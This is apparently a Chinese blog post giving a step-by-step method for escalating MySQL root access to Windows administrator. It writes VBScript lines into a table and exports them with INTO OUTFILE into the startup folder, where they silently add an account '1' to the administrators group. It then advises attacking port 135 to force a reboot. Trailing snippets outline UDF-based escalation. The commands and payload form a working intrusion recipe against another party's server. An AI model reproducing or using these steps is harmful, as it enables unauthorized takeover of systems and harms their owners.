mysql udf提權失敗的另一種方法

2021-12-29 22:13:52 字數 1474 閱讀 2711

實際操作中可以在webshell用udf.dll提權,用函式的上傳檔案功能上傳檔案到啟動目錄,再用shut函式重起系統.(目前沒成功過,有機會本地測試一下,先記錄在這了).如果是英文版的系統,啟動目錄在 "c:\documents and settings\all users\start menu\programs\startup"

1、連線到對方mysql 伺服器

mysql -u root -h 192.168.0.1

mysql.exe 這個程式在你安裝了mysql的的bin目錄中

2、讓我們來看看伺服器中有些什麼資料庫

mysql>show databases;

mysql預設安裝時會有mysql、test這兩個資料庫,如果你看到有其它的資料庫那麼就是使用者自建的資料庫。

3、讓我們進入資料庫

mysql>use test;

我們將會進入test資料庫中

4、檢視我們進入資料庫中有些什麼資料表

mysql>show tables;

預設的情況下,test中沒有任何表的存在。

以下為關鍵的部分

5、在test資料庫下建立乙個新的表;

mysql>create table a (cmd text);

好了,我們建立了乙個新的表,表名為a,表中只存放乙個字段,欄位名為cmd,為text文字。

6、在表中插入內容

mysql>insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );

mysql>insert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1/add"",0) " );

mysql>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators 1 /add"",0) " );

注意雙引號和括號以及後面的「0」一定要輸入!我們將用這三條命令來建立乙個vbs的指令碼程式!

7、好了,現在我們來看看表a中有些什麼

mysql>select * from a;

我們將會看到表中有三行資料,就是我們剛剛輸入的內容,確認你輸入的內容無誤後,我們來到下一步

8、輸出表為乙個vbs的指令碼檔案

mysql>select * from a into outfile "c:\docume~1\alluse~1\「開始」選單\程式\啟動\a.vbs"; 我們把我們表中的內容輸入到啟動組中,是乙個vbs的指令碼檔案!注意「"符號。

9、看到這大家肯定知道了,就是利用mysql輸出乙個可執行的檔案而已。為什麼不用bat呢,因為啟動執行時會有明顯的dos視窗出來,而用vbs指令碼則可以完全隱藏視窗且不會有錯誤提示!本來,應該還有一句完成指令碼後自動刪除此指令碼的,但是中文目錄實在無法處理,只有作罷!好了,找個工具攻擊135讓伺服器重啟吧,幾分鐘以後你就是管理員了。 以測試 可以成功。

漏洞復現 Mysql UDF提權

udf user defined function 即使用者自定義函式。是通過新增新函式,對mysql的功能進行擴充,其實就像使用本地mysql函式如 user 或 concat 等。那麼我們該如何使用udf檔案呢?在mysql預設安裝的裡面是不存在這個檔案的。那麼如果假設該檔案存在被攻擊者上傳到路...

linux下 udf提權 mysql udf提權

前言 udf user defined function 即 使用者自定義函式 檔案字尾為 dll 常用c語言編寫。通過在udf檔案中定義新函式,對mysql的功能進行擴充,可以執行系統任意命令。將mysql賬號root轉化為系統system許可權。思路 1.將udf檔案上傳到指定位置 sqlmap...

mysql 提權 通過Mysql提權的幾種姿勢

本文記錄利用mysql資料庫,在拿到shell之後進行提權的兩種方法。一 udf提權 基本步驟 1 匯出udf.dll檔案到指定目錄 有些webshell整合,直接導 出即可,沒有,則需要上傳 2 基於udf.dll建立自定義函式cmdshell 3 利用自定義函式,執行高許可權cmd命令 以下按照...